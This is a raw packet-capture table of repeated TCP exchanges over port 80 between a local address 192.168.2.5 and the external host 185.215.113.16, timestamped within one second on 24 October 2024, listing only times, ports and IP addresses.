Oct 24, 2024 08:38:12.066236019 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066246033 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066246033 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066261053 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066277981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066277981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066288948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066298962 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066329002 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066344023 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066355944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066370964 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066386938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066397905 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066397905 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066411018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066426992 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066438913 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066438913 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066471100 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066484928 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066494942 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066509962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066521883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066544056 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066557884 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066557884 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066576004 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066591024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066616058 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066616058 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066627026 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066643953 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066653967 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066668987 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066684961 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066695929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066695929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066709995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066720963 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066740036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066756964 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066775084 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066790104 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066802025 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066816092 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066831112 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066847086 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066864014 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066875935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066875935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066891909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066932917 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066932917 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.109966040 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.109985113 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.110012054 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.110066891 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.110084057 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.114624977 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.114640951 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.114656925 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.114706039 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.114723921 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.130244970 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.130263090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.130280018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.130295038 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.130311966 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.130354881 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.130373001 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.130388975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.130403996 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.130420923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.130431890 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.130459070 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.130542994 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.130700111 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.171711922 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.171731949 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.171746969 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.171761990 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.171777964 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.171794891 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.171845913 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.171895027 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.182977915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.183034897 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.183069944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.183219910 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.183219910 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.183250904 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.183283091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.183339119 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.183358908 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.183388948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.183418989 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.183427095 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.183440924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.183456898 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.183473110 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.183485985 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.183500051 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.183521032 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.191596031 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.191632032 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.191667080 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.191700935 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.191736937 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.191781044 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.191803932 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.191855907 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.191873074 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.191889048 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.191905022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.191920996 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.191934109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.191947937 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.191956997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.191972971 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.191982985 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.191998005 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.192006111 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.192017078 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.192039967 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.192058086 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.192068100 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.192080021 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.192092896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.192106962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.192120075 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.192135096 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.192142963 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.192158937 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.192174911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.192188025 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.192202091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.192213058 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.192228079 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.192238092 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.192248106 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.192261934 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.192276955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.192291021 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.192306995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.192325115 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.192333937 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.192367077 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.192367077 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.192367077 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.226603985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.226622105 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.226638079 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.226711035 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.231376886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.231393099 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.231409073 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.231439114 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.231455088 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.247148037 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.247164011 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.247183084 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.247198105 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.247210979 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.247226000 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.247235060 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.247252941 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.247260094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.247276068 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.247293949 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.247351885 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.247368097 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.247384071 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.247399092 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.247410059 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.247442007 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.288729906 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.288772106 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.288790941 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.288806915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.288824081 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.288849115 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.288861990 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.288876057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.288887024 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.288909912 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.299961090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.300003052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.300020933 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.300034046 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.300057888 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.300065994 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.300081015 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.300096989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.300107956 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.300127029 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.300133944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.300147057 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.300162077 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.300179005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.300200939 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.300226927 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.308660984 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.308692932 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.308712959 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.308729887 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.308751106 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.308777094 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.308793068 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.308809042 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.308832884 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.308854103 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.308861971 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.308870077 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.308885098 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.308896065 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.308908939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.308923960 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.308948994 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.308960915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.308971882 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.308984995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309000015 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309010983 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309022903 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309045076 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309053898 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309067965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309084892 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309096098 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309108019 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309118986 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309132099 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309148073 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309170961 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309182882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309200048 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309215069 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309231043 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309241056 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309254885 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309268951 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309278965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309290886 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309314013 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309328079 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309345007 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309357882 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309379101 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309390068 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309403896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309418917 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309426069 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309437990 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309464931 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309477091 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309490919 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309504986 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.309514999 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.309539080 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.343956947 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.343975067 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.343990088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.344006062 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.344041109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.344059944 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.348483086 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.348499060 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.348515034 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.348556042 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.348572969 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.364065886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.364084959 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.364101887 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.364115000 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.364156961 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.364181042 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.364192009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.364213943 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.364260912 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.364304066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.364331961 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.364346027 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.364360094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.364375114 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.364386082 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.364402056 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.364417076 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.364424944 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.364435911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.364460945 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.364475012 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.405800104 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.405818939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.405833960 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.405849934 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.405863047 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.405877113 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.405894041 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.405905962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.405925035 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.405986071 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.416851997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.416910887 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.416939974 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.416973114 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.417001009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.417036057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.417092085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.417113066 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.417141914 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.417174101 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.417191982 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.417216063 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.417251110 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.417304039 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.417315960 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.417330980 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.417347908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.417356968 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.417367935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.417411089 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.425539017 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.425558090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.425581932 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.425609112 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.425626040 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.425746918 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.425771952 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.425786972 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.425807953 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.425856113 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.425856113 CEST	60982	80	192.168.2.5	185.215.113.16
